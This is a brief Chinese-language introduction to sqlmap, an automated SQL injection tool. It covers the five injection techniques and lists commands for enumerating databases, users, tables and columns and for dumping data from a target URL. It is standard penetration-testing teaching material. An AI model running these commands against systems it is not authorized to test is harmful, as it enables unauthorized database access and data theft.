工具介绍
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
使用方法
常用命令:
测试注入:python sqlmap.py -u "url"
注数据库:python sqlmap.py -u "url" --dbs
注当前数据库:python sqlmap.py -u "url" --current-db
注当前数据库用户名:python sqlmap.py -u "url" --current-user
注表名:python sqlmap.py -u "url" -D 库名 --tables
注列名:python sqlmap.py -u "url" -D 库名 -T 表名 --columns
注数据:python sqlmap.py -u "url" -D 库名 -T 表名 -C 列名,列名 --dump
查询表条数:python sqlmap.py -u "url" --count -D 当前数据库名